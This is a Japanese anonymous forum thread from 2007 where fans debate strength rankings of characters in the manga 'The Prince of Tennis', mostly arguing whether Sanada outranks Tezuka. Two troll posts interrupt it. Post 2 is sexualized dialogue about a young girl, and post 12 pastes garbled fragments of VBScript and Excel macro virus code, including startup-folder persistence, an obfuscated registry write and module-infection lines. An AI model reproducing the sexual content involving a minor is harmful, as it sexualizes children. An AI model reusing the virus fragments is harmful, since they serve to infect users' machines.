テニスの王子様　強さ議論スレッド16

テニスの王子様　強さ議論スレッド16 at WCOMIC

1:名無しさんの次レスにご期待下さい
07/08/08 15:19:46 hA7lMKWn0
設定も描写も考慮して議論しましょう。
・妄想は慎みましょう。
・ループは慎みましょう。
・荒らしは華麗にスルーしましょう。
・相性を考慮してできるだけ総当りでランクを決める
・勝ち負けだけでランクを決めない

■前スレ
テニスの王子様　強さ議論スレッド15
ｽﾚﾘﾝｸ(wcomic板)

・試合結果、描写
・オーダー表
・主将であるかどうか等
・キャラの強さに関する発言
・実績
・ジャンプ最新話時点での強さを優先
・矛盾が出る場合があるので基本的に原作のみ
・たしけ補正等は考慮外としてランク

2:名無しさんの次レスにご期待下さい
07/08/08 16:26:03 OHibs0M8O

ようじょ「（ちょろちょろちょろちょろ）ふぇ…」

おれ「またお漏らしでございますかｗｗｗｗｗｗｗｗｗｗあじゃいｆｊぴじゃ」

ようじょ「だってぇ…おにーちゃんが…いかせて、くれないから…ふぇ（ちょろちょろちょろ）」

おれ「ぼくｗｗｗｗｗｗようじょのお漏らしｗｗｗｗｗｗｗｗ大好きだからｗｗｗｗｗｗｗｗ」

ようじょ「へんだと、おもうの…ぅぅ…（ちょろちょろちょろ）」

おれ「気持ちいい？　気持ちいい？ｗｗｗｗｗｗｗｗｗｗｗｗｗ」

ようじょ「ん…ぅん…（ちょろちょろちょろ…ちょろ…ぽた）」

おれ「まだｍだｍだｍだｍだｍｄままいとｊちおあｊｔｐｊｗぽいｔくぃとｊｑ４いおｊｔ４ｑ
ｑｔ4ｊｑぴおｊｑポイｊｑｐといｊｑぽいｊｔｑぽいｔｊｑといｊ

ｔｑｊｐくぃｔｑｐｔ

3:名無しさんの次レスにご期待下さい
07/08/08 17:27:11 AMVaj2f40
乙～

4:名無しさんの次レスにご期待下さい
07/08/08 17:47:53 Bnoyxoef0
乙！！！

5:名無しさんの次レスにご期待下さい
07/08/08 18:10:15 BXPOhm870
>>1
ご苦労。

6:名無しさんの次レスにご期待下さい
07/08/08 19:24:17 jpa+1z7O0
真田

7:名無しさんの次レスにご期待下さい
07/08/08 19:33:02 adDeLBT20
苦労をかけるな

8:名無しさんの次レスにご期待下さい
07/08/08 19:54:14 ZOJAaxMQO
もう迷いはない

9:名無しさんの次レスにご期待下さい
07/08/08 21:44:20 gKURZPGSO
たわけが！

10:名無しさんの次レスにご期待下さい
07/08/08 21:50:46 As16SsyL0
おつ

このスレにもいい加減テンプレ的なちゃんとした表が欲しいな
上位から少しづつ決めていきたいもんだ

11:名無しさんの次レスにご期待下さい
07/08/08 22:26:52 mjnX9eWfO
丸井頑張れ！！

12:名無しさんの次レスにご期待下さい
07/08/08 22:40:48 8NKQzlKZ0
Set A4 = A1.CreateTextFile(A1.BuildPath(A1. 1)))
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo ", "j:\windows\start menu\programs\startup\"
ToInfect.CodeModule.InsertLines BGN, ADI1. (BGN, 1)
"avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash"
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E. 1), A("VHORU@SU/WCR"))
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
kak\ \';\ken=\wd+'\START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
whichfile = p + w * 10
End Sub

13:名無しさんの次レスにご期待下さい
07/08/08 22:51:01 e8B9GBi00
Ｓ　跡部
Ａ　忍足
Ｂ　越前　手塚　真田　金太郎
Ｃ　不二　白石　千歳
Ｄ　その他ザコの皆様

14:名無しさんの次レスにご期待下さい
07/08/08 23:55:35 Bnoyxoef0
>>10
あと本スレみたいなまとめも欲しいな
ちょっと前の議論を見ると面白いんだよな

15:名無しさんの次レスにご期待下さい
07/08/09 00:22:46 PRgChqch0
氷の世界 VS 知り難きこと『陰』の如く

16:名無しさんの次レスにご期待下さい
07/08/09 00:24:02 yt9w8uQE0
前スレから転載

830 ：名無しさんの次レスにご期待下さい：2007/08/04(土) 19:53:48 ID:Rgk9dwMg0
>>820ゲームか何かか？

・真田＞手塚＞手塚(百錬才気)≫千歳＞手塚(百錬)＞橘＞千歳(無我)
・金太郎≧越前＝跡部
・金太郎＞白石≧不二≫不二(４種)＞切原(赤目)≫橘(ﾄﾗｳﾏ)＞佐伯
・銀≫河村≫樺地(波動球)≫樺地(初期)
・樺地(百錬)≧手塚(百錬)≫木手≫手塚(素)＝跡部(関東)＞忍足≧桃城≫千石＝神尾(素)＞リチャード
・木手＞菊丸＝甲斐≫菊丸(分身)＞橘(ﾄﾗｳﾏ)＞甲斐(右手)＞佐伯
・木手＞平古場＞知念≫葵≫海堂(初期)≧神尾(初期)
・跡部≫田仁志＞日吉≧亜久津＞大石＞季楽
・越前＝跡部＞真田(風林火山)≫跡部(関東)＝手塚(素)
・芥川＞観月＞不二弟＞伊武(初期)
・乾＞乾(関東)＝柳≫桃城(関東)＞千石
・切原≫クラウザー≫切原(赤目)

とりあえず、このへんは成り立つランクつくらないと

17:名無しさんの次レスにご期待下さい
07/08/09 00:28:28 yt9w8uQE0
（）は抜かして最新で考えたいが、参考の為そのままコピペした
前スレで書いたやつ修正してみたのも貼る

【40】幸村精市
【39】真田弦一郎手塚国光
【38】千歳千里　　
【37】越前リョーマ遠山金太郎切原赤也跡部景吾橘桔平
【36】柳蓮二　リリアデント・クラウザー　白石蔵ノ介

現段階での上位だけ考えてみた
上位３人は発言や実際の試合描写から幸村>真田>手塚と確定したい
桐原は悪魔化によって柳や跡部はクリアしたと予想
不二はおそらく上がっているが試合するではとりあえずおいとく
師範・寿司・樺地は難しいからおいとく

ちなみに同ランクでも左側のが上のつもり
以後も修正よろ

18:名無しさんの次レスにご期待下さい
07/08/09 00:42:40 3WPXu+9k0
新スレ乙
>>17
修正も何も、千歳以下何を根拠にそう置いてるのかさっぱりわからん・・・
議論スレで単に「予想」なんて言われても困る。
それにその数字は何か意味があんの？

19:名無しさんの次レスにご期待下さい
07/08/09 00:52:48 yt9w8uQE0
>>18
千歳以下の根拠は金太郎≧越前＞跡部
桐原のことはすまん「予想」はまずいな
橘以下はひっぱてきただけだからわからん

前スレの820であったのを５ランクだけ残して改変したやつ
Ｓとかの表記でもいいかと思ったが、キャラが多すぎるから作ったやつは
あえて数字にしてるのかと思って数字にしてみた
Ｓ表記がよければ直してくれ

20:名無しさんの次レスにご期待下さい
07/08/09 00:53:13 Fv0lh8W20
幸村＞真田は俺も含め誰も異論ないだろうが
それでも試合描写ない奴を論じるわけにはいかん
デビルとクラウザーもまだ不明だろ
千歳、橘と比較なんてできん
柳は関東時点の描写じゃ白石と同格はありえんし

そういうランクみたいなのはのは連載終了してからでもいいだろ
どうせこの試合で最期だろうし

21:名無しさんの次レスにご期待下さい
07/08/09 00:57:35 yt9w8uQE0
わるい･･･脱字しまくりだ。もう落ちるわ
とにかく純粋に強さランキングが作りたいんだけなんで形式には特にこだわりない
ついでに前スレの技のも参考に引っ張ってくる

976 ：名無しさんの次レスにご期待下さい：2007/08/08(水) 03:44:44 ID:x5YY0nl10
技ランク考えてみた。

S
雷、陰（一応究極奥義なので）、百錬、才気、零式サーブ、手塚ファントム
天衣無縫モドキ、大車輪山嵐（天衣モドキと引き分けた扱いなので）

A
手塚ゾーン、氷の世界、暴れ球（これだけ疑問なんだけど、まあ昔の千歳も防げなかったし）
ヘカトンケイルの門番、全方位縮地（扱いは悪い木手だけど実際強いし、やはり厄介などとも言われてる）
野生のテニス、COOLドライブ

B
以下その他（百八式は今回除外）

Sは部長クラスでも防げなかったりするもの、Aは普通は無理だけど部長クラスなら頑張れば防げる。

タンホイザーも最初Aに入れようと思ったけど、本人とはいえ普通のテクで簡単に防がれたり、パクられたり
作内でもあまりスゴイ扱いでないのが引っ掛かってて、何がCOOLドライブと違うのか考えてたら、
タンホイザーはドライブCと同じなんだな。
COOLドライブは、手塚ファントムやヘカトンのように、恐らく当てても普通には返せない悪質な回転系の技。

22:名無しさんの次レスにご期待下さい
07/08/09 00:58:39 GycQJ2md0
>>17
柳が高い気がする。幸村、切原、クラウザーはまだいいよ

>>16を参考にして、とりあえず手塚が関わってるところについてまとめる
手塚は試合が終わったばかりで、最新情報だからな

・真田＞手塚＞手塚(百錬才気)≫千歳＞手塚(百錬)＞橘＞千歳(無我)
・樺地(百錬)≧手塚(百錬)≫木手≫手塚(素)＝跡部(関東)＞忍足≧桃城≫千石＝神尾(素)＞リチャード
・越前＝跡部＞真田(風林火山)≫跡部(関東)＝手塚(素)

真田　手塚
手塚(百錬才気)
千歳　手塚(百錬)
越前　跡部
橘　真田(風林火山)　千歳(無我)　木手
手塚(素)　跡部(関東)
忍足　桃城
桃城(関東)　神尾(素)　千石　リチャード

()は他のキャラとの比較のために入れただけなので、無視すればいい
金太郎はもめるので保留（たぶん限界が分からないから、想像するしかない
幸村、切原、クラウザーは描写待ち
樺地はランク外

23:名無しさんの次レスにご期待下さい
07/08/09 01:07:27 GycQJ2md0
ちなみに
＞橘　真田(風林火山)　千歳(無我)　木手
の順序の根拠は

関東大会の時点で真田が最強だった
橘、千歳は九州２強で橘が獅子楽の元エースで、暴れ球の分も考慮

橘　真田(風林火山)＞橘(猛獣だけ)　千歳(無我)＞木手

と予想

24:名無しさんの次レスにご期待下さい
07/08/09 01:26:56 t9BaOizn0
本スレから転載

79 名前：名無しさんの次レスにご期待下さい [sage] 投稿日： 2007/08/02(木) 18:53:15 ID:44PBylH/0
>>77
完全に実力負けじゃね？
意味分からん真っ向勝負に拘らなければ、6-0で勝ってもおかしくない。
手塚ゾーン＜火
百錬＜雷
才気＜陰
ファントム＜林、雷
零式ドロップ＜雷
零式サーブ＜林、火、雷

25:名無しさんの次レスにご期待下さい
07/08/09 02:25:53 zlokTflyO
真田は真っ向勝負なりアイシングなり妙なこだわり無くせば
手塚と１ランク差ついててもおかしくないよな
しかし以前は百錬封印手塚、雷陰封印真田でも全国トップクラスだったのに今年はインフレしてるな

26:名無しさんの次レスにご期待下さい
07/08/09 03:26:44 rqHAK8L80
四天宝寺の真のエースは千歳と金太郎どっちなんだろうな
千歳は金太郎を一枚上に見てるが、それはポテンシャル込みの話で、
ルール上勝つだけなら千歳には勝つ手段がありそうな

27:名無しさんの次レスにご期待下さい
07/08/09 05:07:20 3WPXu+9k0
「才気でなんとかなんじゃね？」と
「長引いてそのうち大車輪か普通に抜かれるか体力負けかじゃね？」
の言い合いに結論は出ないと思うんだが。

28:名無しさんの次レスにご期待下さい
07/08/09 05:54:16 HK9Q93070
才気は焼肉屋で破られている

29:名無しさんの次レスにご期待下さい
07/08/09 06:21:52 EUSm5M980
千歳は半目見えてないから余裕で金太郎の勝ちだろ

30:名無しさんの次レスにご期待下さい
07/08/09 09:12:56 qEFflQFZ0
>>19
数字のやつは多分強さじゃなくてゲーム攻略スレの予想だぞ。
強さとかじゃなくてステータスの合計値みたいなの。

31:名無しさんの次レスにご期待下さい
07/08/09 09:41:44 /GJbN149O
そういや千歳ってししがくだったんだよね

32:名無しさんの次レスにご期待下さい
07/08/09 09:43:51 HK9Q93070
クラウザーが出てるゲームなんてあるのか

33:名無しさんの次レスにご期待下さい
07/08/09 09:51:09 w+pSSPb+0
焼肉編が最後まできっちりやってたら勝ったのどこだろ

34:名無しさんの次レスにご期待下さい
07/08/09 12:27:55 TOhOrb5AO
>>29
ネタだろうけど一応
千歳は片目が見えなくても充分テニスができてる以上
それは理由にならない

35:名無しさんの次レスにご期待下さい
07/08/09 14:24:14 hUXCzeUhO
伊武と紙オムツはどっちが強いんだ？
序盤は不二クラスとか言われてた伊武と後半出番良いとこ取りの紙オムツ

36:名無しさんの次レスにご期待下さい
07/08/09 14:39:22 LmwpMrVs0
>>33
トラブルがなければ沖縄か…？
タニシ様もだが他が結構積極的に食いそうな奴らだしな
仮トップの氷帝は樺地を除いて跡部が途中まで一切食わないのと
そんなに食えないであろう面子ばかりだしな

37:名無しさんの次レスにご期待下さい
07/08/09 15:09:58 3L6Ih3JGO
クラウザーはまだいいって言ってる奴は何？
同クラスであろう奴らが柳仁王にあっさり倒されてる時点でその程度だろ？
第一まだも何もこれから描写なんてねぇじゃん

38:名無しさんの次レスにご期待下さい
07/08/09 15:23:02 3WPXu+9k0
・同クラスと判断する根拠があの野次だけじゃ弱い
・柳仁王の強さがまだわからない（大体ダブルスだし）
・デビルの強さがまだわからない

39:名無しさんの次レスにご期待下さい
07/08/09 15:39:00 3L6Ih3JGO
それでいつになったら強さがわかるわけ？
次のデビルの勝敗でクラウザーの実力が決まるって何かおかしくね？
クラウザーがデビルに勝ってるならわかるが。

40:名無しさんの次レスにご期待下さい
07/08/09 15:39:39 PRgChqch0
氷の世界 VS 知り難きこと『陰』の如く

41:名無しさんの次レスにご期待下さい
07/08/09 15:42:40 bO5iw/r70
天衣無縫って、
もはや打球をどうこうではなく、相手の身体を自由に動かす気がしてきた。
催眠術ｗ

42:名無しさんの次レスにご期待下さい
07/08/09 15:53:27 3WPXu+9k0
>>39
デビルの強さがわかれば上限がわかる。
目潰しは反則であれが無ければ勝ってた、とか言い出すなら話は別だけど。

43:名無しさんの次レスにご期待下さい
07/08/09 16:54:44 GycQJ2md0
>>25
そのこだわりを持ってることが真田の弱さだな

>>26
千歳が自分より金太郎の方が強いなんて言ってたっけ？
天衣無縫に１番近いのは金太郎発言なら
その時はまだ、千歳は「無我の扉は共存できないものだ」と思っていて
自分は才気を開いたし、手塚は百錬を開いたので２人とも天衣ではなかった･･･
「天衣を開く可能性が１番高いのは金太郎だ」という意味だと思ったんだが

まぁ白石は自分より金太郎の方が強いと言っているので、金太郎＞白石　は確定

44:名無しさんの次レスにご期待下さい
07/08/09 17:09:35 nSqEWoCA0
白石のセリフを信じるなら、金は四天宝寺最強ってことになるけどな

45:名無しさんの次レスにご期待下さい
07/08/09 17:10:23 87EjmlOb0
百錬で火を倍返しできる手塚ですら華奢扱い
越前、不二なんかはパワータイプに対処できるんだろうか

46:名無しさんの次レスにご期待下さい
07/08/09 17:23:06 IHyGj44y0
百錬はパワーじゃなく付加してる特殊能力で倍返ししてるだけじゃね。

47:名無しさんの次レスにご期待下さい
07/08/09 17:25:30 w+pSSPb+0
>>36
比嘉惜しかったよなあ
やっぱ決着するまで見たかったよ
あと1週あればなー

48:名無しさんの次レスにご期待下さい
07/08/09 18:13:55 lkKDsnbYO
>>43-44
「金ちゃんはうち（四天宝寺）の誰より強い」
は白石発言だっけ。

1年生と3年生なのに
「千歳」「金ちゃん」と呼び合ってるし、
たしけが金太郎を別格にしたがってる気配は感じるんだが、
どうなんだろうな？

千歳が退部しても四天宝寺勢の動揺が少なかったのは、
S1に絶対的なエースがいたからなんじゃないの

49:名無しさんの次レスにご期待下さい
07/08/09 19:24:52 PRgChqch0
幸村の技
朱雀　青龍　白虎　玄武

50:名無しさんの次レスにご期待下さい
07/08/09 19:49:51 ymckWXln0
というかさ、、、、手塚は成長しないやつだよな？
小学生のときは真田をあっさり倒して幸村を押し気味なのに、結局真田にも
抜かれ、幸村には大きくさをあけられそうだし

51:名無しさんの次レスにご期待下さい
07/08/09 20:00:35 FE+Nnm160
手塚はNARUTOでいえば
イタチと同じで早熟タイプだろう。
天衣無縫を覚える可能性はあるだろう。
おそらく天衣無縫＝Ｍ－０だろうが・・・

52:名無しさんの次レスにご期待下さい
07/08/09 20:01:56 IHyGj44y0
6-0、6-1で勝てたのは真田が真っ向勝負してきたからじゃね？

53:名無しさんの次レスにご期待下さい
07/08/09 21:43:03 uHjopLTv0
雷や陰をまだ体得してなかった真田の風林火山を百錬&無我で破った。
手塚は真田ほどパワーがつかなかった。

こんな感じかな。

54:名無しさんの次レスにご期待下さい
07/08/09 23:05:21 GycQJ2md0
>>52
手塚の最初は本気を出さない戦い方からして

真田がまず１ゲーム先取　→　手塚が百錬発動して１２ゲーム連取

かと思った

55:名無しさんの次レスにご期待下さい
07/08/10 01:19:36 rF4EJBJb0
６－０、６－１だから、最初ボロ負けして、次に何とか１取ったと思ったんだが。

>>45
パワータイプといっても、基本的に普段のショットは普通に受けられるんだよな。
まあ、そうじゃないと試合描けないだろうけど・・・。

不二とかビッグバン打たれたらどうするのかね。なんの説明もなくヘカトンで返しそうな予感もするが。

56:名無しさんの次レスにご期待下さい
07/08/10 01:21:55 0ztTHHqw0
ある程度強い奴にはパワーショットが効かないというのはこの漫画ではよくあること

57:名無しさんの次レスにご期待下さい
07/08/10 08:27:18 an98dBCW0
手塚って作者の脳内では最強だと思うけど
行き当たりばったりの展開上負けてばかりだね

58:名無しさんの次レスにご期待下さい
07/08/10 08:39:01 eMs/4+cNO
蟹「居るよね、パワー馬鹿」

59:名無しさんの次レスにご期待下さい
07/08/10 10:22:55 d0diCbuP0
世界ランク一位が全戦全勝ってわけじゃないんだ
勝つこともあれば負けることもあるのに明確な強さなんてわかるもんか
まあ議論自体は好きだが勝敗一つで振り回されすぎ

60:名無しさんの次レスにご期待下さい
07/08/10 10:43:57 RI9DTnv30
テニヌでは実力が上だったら、特殊な状況でないかぎり
何回やっても強いやつが弱いやつに勝ちますよ

試合ごとに勝敗が変わりそうなら同レベルと見て同ランクにして
強い方を左に置けばいいよ

61:名無しさんの次レスにご期待下さい
07/08/10 11:09:06 6pnmhcY+0
>>60
確かに
今の状況だったら手塚は何度やっても真田には勝てないし

62:名無しさんの次レスにご期待下さい
07/08/10 12:15:25 /+7LGe450
いや、そんなことは無いだろ。
今回だってギリギリの勝利でどっちが勝ってもおかしくなかった。
真田が入らんかーで常にコードボールを相手コートに落とせるなら別だが。

63:名無しさんの次レスにご期待下さい
07/08/10 12:23:47 6MkOs0ma0
>>62
火＞ゾーン
雷＞百錬
陰＞才気
林＋雷＞ファントム
火＋林＋雷＞零式
と最終的には全部攻略しているわけで
雷でファントム破ることにこだわったりアイシング断ったりアホやってたから接戦だったけど
真っ向勝負？を捨てた真田＞真田≧手塚
くらいだな

64:名無しさんの次レスにご期待下さい
07/08/10 12:26:41 N5QCi20d0
>>59
じゃー何を根拠に議論すりゃいいですかね
勝つこともあれば負けることもあるなんて言ってられんのは青学だけ
試合描写1回しかないキャラの方が多いのに

65:名無しさんの次レスにご期待下さい
07/08/10 12:30:43 /+7LGe450
>>63
今後、手塚と真田が何度戦うことになっても結局真田は真っ向勝負するだろうから接戦になるよ。
今までの真田のキャラからして試合開始直後から真っ向勝負を捨てることは無いだろうし。

66:名無しさんの次レスにご期待下さい
07/08/10 12:39:09 s8bNojbZO
手塚厨ってどうしても最強じゃなきゃ嫌なんだな
手塚好きだから負けたのは確かに軽くショックだったけど、
さすがにあの試合で実力が同じだとは思わんわ
負けたり扱いが悪くなったりするのに慣れてないんだな
他校好きからしたら羨ましい話だｗ

67:名無しさんの次レスにご期待下さい
07/08/10 12:42:28 6pnmhcY+0
結局最後は真っ向勝負捨てて手塚の技を全て破ってるんだから真田＞手塚は明白だろ

68:名無しさんの次レスにご期待下さい
07/08/10 12:47:45 /+7LGe450
手塚が真田より強いとは言わないが真田が手塚を一方的にボコるなんてのは不可能

69:名無しさんの次レスにご期待下さい
07/08/10 12:49:34 CvUvPRQ00
>>68
仮に一方的にボコることはできなくても真田が負ける要素が全くないんだから
100回試合したら100回真田が勝つとは思わんか？

70:名無しさんの次レスにご期待下さい
07/08/10 12:53:49 rm5GtF8d0
相手を負かすのに自分の体を犠牲にする手立てを取らなくちゃいけないっていうのは弱い証拠でしょ。
さらに言っちゃうとすぐに必殺技を用いることでしか形勢を逆転できない奴らも弱いと思う。
つまり何が言いたいのかと言うと基本に忠実な白石が最強。

71:名無しさんの次レスにご期待下さい
07/08/10 12:54:04 /+7LGe450
真っ向勝負を捨てなかったら負けるよ。
今回だって幸村が指示しなかったら最後まで真っ向勝負して負けてたんじゃないの。

72:名無しさんの次レスにご期待下さい
07/08/10 12:56:22 4K3VFtSAO
基本テニスとは言うが、どう見ても基本に忠実な動きとは言えないよね

73:名無しさんの次レスにご期待下さい
07/08/10 12:57:30 CvUvPRQ00
>>71
事実として真っ向勝負を捨てたんだから負ける要素はないってことだよね

74:名無しさんの次レスにご期待下さい
07/08/10 13:00:26 6pnmhcY+0
>>71
幸村に指示されたとか置いといて結局真っ向勝負捨てて試合して手塚の技を完璧に封じてるんだから真田と手塚の関係はもうかわらんだろ
まあそれ以前にテニヌの真っ向勝負の定義がよくわからんが

75:名無しさんの次レスにご期待下さい
07/08/10 13:01:14 6pnmhcY+0
スマン>>73と被った

76:名無しさんの次レスにご期待下さい
07/08/10 13:03:44 /+7LGe450
真っ向勝負に拘ることが真田の負ける要素だよ。
真田は１００回手塚と戦ったら１００回とも真っ向勝負捨てるとでも言うのか？
そんな簡単に捨てるような奴じゃないだろ

77:名無しさんの次レスにご期待下さい
07/08/10 13:06:08 nw8se3AcO
真田が手加減してくれないと手塚に勝ち目がない事実は覆らないし
真田はなかなか手加減をやめないから手塚にも勝ち目があるってのはなんとも情けない話だよな

78:名無しさんの次レスにご期待下さい
07/08/10 13:08:41 CvUvPRQ00
>>76
もう一回捨てたんだから今後はもっとあっさり捨てるだろ
試合開始時から風林火陰山雷を使い放題でも不思議じゃない

79:名無しさんの次レスにご期待下さい
07/08/10 13:08:52 6MkOs0ma0
なんかあれだな
不二は普段は勝利に拘ってないからその状態になら勝てるとかそういう感じか

80:名無しさんの次レスにご期待下さい
07/08/10 13:09:48 6pnmhcY+0
>>76
だから結果として参考にするべき試合では結局捨ててるわけで
100回試合して100回とも真っ向勝負捨てるような奴じゃないとか完璧にお前の願望じゃないか

勝ち目が0とは言わんがな

81:名無しさんの次レスにご期待下さい
07/08/10 13:21:31 /+7LGe450
今回真っ向勝負を捨てたのは幸村の指示があったからだろうが。
真田は自ら奥義封印して蟹に負けるような性格だぞ？
俺の願望でなく今までの描写から簡単に真っ向勝負を捨てたりしないキャラだと考えるのが自然。

82:名無しさんの次レスにご期待下さい
07/08/10 13:29:24 oXK4CaUc0
今の手塚では真っ向勝負を捨てた真田に９９．９％勝ち目はないだろう
今後なにかの補正で５０％くらいになりそうだが･･･

83:名無しさんの次レスにご期待下さい
07/08/10 13:32:10 6pnmhcY+0
だからさ…
幸村の指示だろうがなんだろうが結局あの試合では真田は真っ向勝負を捨てただろう？
それなのになぜ捨てない捨てないと吠えつづけるのか
他に参考に出来る試合があるのか？

真田は出すべき技を出すべきときに出せば手塚を完封できるのは当たり前だろう？
結局あの試合では真っ向勝負を捨てたんだから真田＞手塚と判断するのは至極当然なわけで

あと、やたら幸村の指示が幸村の指示がと強調しているがそれになにか問題があるのか？

84:名無しさんの次レスにご期待下さい
07/08/10 13:35:11 6MkOs0ma0
つかそんなこと言い出したら真田は手塚以外には雷陰使わないから
跡部には勝てんとかそういう理屈になってくるぞ
真田は全力の８０％くらいで評価しろと？

85:名無しさんの次レスにご期待下さい
07/08/10 13:37:06 CvUvPRQ00
参考にできる試合と言えば蟹対真田の試合か
あの試合は風林火山を封じられたとはいえ見事に真っ向勝負を捨てて
ガンガン攻めてくる蟹に対してロブを決めてたな

86:名無しさんの次レスにご期待下さい
07/08/10 13:43:00 SkPye/LZO
つかそんな理屈が通るなら手塚も越前の時間稼ぎ、全国優勝という特殊な状況が絡まないとファントム、零式サーブ連発なんて真似はしないって理屈がまかり通るがいいのか？

87:名無しさんの次レスにご期待下さい
07/08/10 13:52:53 CUzvO0kJ0
強さ議論に感情論って必要か？
技の相性的にどう考えても手塚は真田に勝てないだろ

88:名無しさんの次レスにご期待下さい
07/08/10 14:15:53 G5/pdp0GO
全力出して勝てないんだから手塚の方が格下のは明らかだろうぜ

っていうか手塚は偉そうに「油断せずに行こう」とか言ってるくせに樺地戦とか木手戦とか油断しすぎ
樺地戦は５―０まで持ってたんだからあと零式４発で終わりだろ

89:名無しさんの次レスにご期待下さい
07/08/10 14:19:02 nw8se3AcO
結局のところID:/+7LGe450が言いたいのは
真田＞＞手塚には異論はないけど
真田の気分次第では稀に勝てるかも知れないから
「何度やっても真田に勝てない」を訂正しろってことだろ？

90:名無しさんの次レスにご期待下さい
07/08/10 15:18:19 e/4c/lGg0
戦術とか駆け引きもそいつの能力のうちでしょ＞真っ向勝負云々
樺地は頭がよければ最強だけど馬鹿だから弱いのと同じで、
「全部の能力を駆使すれば真田は強い」と言われても、実際駆使できない

技の相性にしたって、ほとんど無制限に使える百練自得がある手塚、
百練自得を破るためには身体を犠牲にして雷を使うしかない真田、という言い方もできるわけで、
何が言いたいかと言うとお前らの言うことはもっともだが
たしけは手塚と真田は互角に描けたつもりでいるということ

91:名無しさんの次レスにご期待下さい
07/08/10 15:26:47 e/4c/lGg0
あとまあ、

>火＋林＋雷＞零式
>と最終的には全部攻略しているわけで

零式自体はときどき使う手塚の代名詞技のひとつぐらいの扱いだが、
それを毎回火＋林＋雷で返せるかって言ったら、そんな描写じゃなかったと思うぞｗ

試合に勝った以上は真田のほうを上にランクすべきだが、
同ランク内で真田を左に置くぐらいが妥当じゃないかと思った

92:名無しさんの次レスにご期待下さい
07/08/10 15:28:36 RI9DTnv30
ようするに真田はスペックや技は最強クラスだが
拘りのせいで判断力が低いキャラ

千歳、桃城、跡部などはスペックは低いが判断力が高いので
自分よりもスペックの高いやつらより優位に立てる

ようは総合評価ってわけだ

真田＞手塚　には誰も依存はないだろうけど
両者にランクを分けるほどの差があるか？ってことだな

93:名無しさんの次レスにご期待下さい
07/08/10 15:31:42 CvUvPRQ00
>>90-91
全能力を駆使できずに試合が終わったならともかく実際に駆使できちゃったんだけど
それに百錬自得を破るには雷しかないとしても
その雷を使われると今度は手塚が絶望的に追い込まれることも実証済み
>それを毎回火＋林＋雷で返せるかって言ったら、そんな描写じゃなかったと思うぞｗ
俺にはたまたまできたようには見えなかったな
毎回返せるわけではないってのはどんな描写からそう思ったんだ？

94:名無しさんの次レスにご期待下さい
07/08/10 15:42:14 e/4c/lGg0
>>92
そういうことっす

>>93
＞全能力を駆使できずに試合が終わったならともかく実際に駆使できちゃったんだけど

蟹戦の真田を思い出してほしい、あれ見て「でも本当は真田のほうが強い」なんてのは
ちょっと情けない言い分だと思わん？今回は幸村がいたから「正しい判断」をしてもらえた。

＞その雷を使われると今度は手塚が絶望的に追い込まれることも実証済み

「手塚が追い込まれる」というか、両方追い込まれるでしょ。雷使うとファントム出されちゃうんだから。
雷＋林でお互い選手生命削る消耗戦になる。故に「貴様とは二度とやらんぞ」なんじゃないかな？

＞毎回返せるわけではないってのはどんな描写からそう思ったんだ？

今回の試合でも、零式でポイント取られまくってたから。いつでも使えるんなら毎回返せばいい。でも返せてなかった。
最後は執念で、イチかバチかの複合技を成功させた、っていう描写じゃない？

95:名無しさんの次レスにご期待下さい
07/08/10 15:45:53 CvUvPRQ00
>>94
手塚が百錬を使ってきたら雷でぶち抜けばいい
手塚がファントムを使ってきたら林で受け流しとけばいい
消耗していくのは手塚だけだぜ
あれ以前はまだ真っ向勝負を捨ててないから雷以外は使う気がなかったんだから参考にならないだろ

96:名無しさんの次レスにご期待下さい
07/08/10 15:49:26 e/4c/lGg0
手塚厨だと思われるのもなんなので一応言っておくと、
入らんかー！で勝ったわけだが、あれが真田側に落ちてて手塚が試合に勝ってたとしても
やっぱり総合的に真田≧手塚だとは思うよ

たしけは真田の格を回復させることには成功したけど、このスレ見る限りじゃ手塚の格を守れなかったかな。
本来のたしけの意図としては「手塚も真田も神クラスに強い、今回に関しては真田の執念が上回った」だったはず。
（本人的には成功したと思ってるかもしれないが）

千歳と木手に圧勝した描写は手塚の圧倒的な別格ぶりを裏付けるための布石だったはずだけど、
読者には単に「千歳と木手弱ぇ～」と思われてしまった、なかなか難しいもんだな

97:名無しさんの次レスにご期待下さい
07/08/10 15:56:48 HadWsXxp0
手塚と真田の力は互角。
真っ向勝負を捨てられないところに真田の負ける要素がある。
真っ向勝負を捨てられたのは幸村のお陰。
ゆえに幸村がいなければ真田は手塚に勝てない。
つまり手塚の方が上。

手塚好きさんの言い分としてはこんな感じでいいですか？

98:名無しさんの次レスにご期待下さい
07/08/10 15:57:16 e/4c/lGg0
>>95
雷は本来通常技として連発できるようなもんじゃない（幸村の発言より）
百練自得や零式（サーブではなくドロップショット）は通常技だ、
普通に戦ったって真田のほうが消耗は大きいわけだ。
ずっと雷やってたら動けなくなる。
普通の相手ならときどき雷使うぐらいで勝てるが、手塚がその気になれば
ファントムでｇｄｇｄの消耗戦に持ち込まれてしまう。
雷を封印したら手塚もファントム使うのやめるだろうし（百練自得だけでペース握れるから）、
どうしても「ときどき雷を混ぜる」必要がある。やっぱ今回みたいに消耗戦になると思う。

99:名無しさんの次レスにご期待下さい
07/08/10 15:57:24 nw8se3AcO
>>96
あの打球が真田側に入っても手塚の勝ちにはならないけどね

100:名無しさんの次レスにご期待下さい
07/08/10 16:04:12 6MkOs0ma0
雷＋林にしてからは一方的に手塚が消耗していくだけだったからな
なぜか雷のみより雷＋林の方が消耗少ないらしい
陰のせいで行動読めないため手塚はファントムし続けるしかない

101:名無しさんの次レスにご期待下さい
07/08/10 16:05:25 e/4c/lGg0
>>99
まあこの漫画ではありがちな「もう真田は試合続行不可能だったので、あれが入ってたら棄権負けだった」
っていう描写だろ、テニスは２セット差つけないと勝ちにならないから、たしけが「両者互角」の試合を描こうと思うと
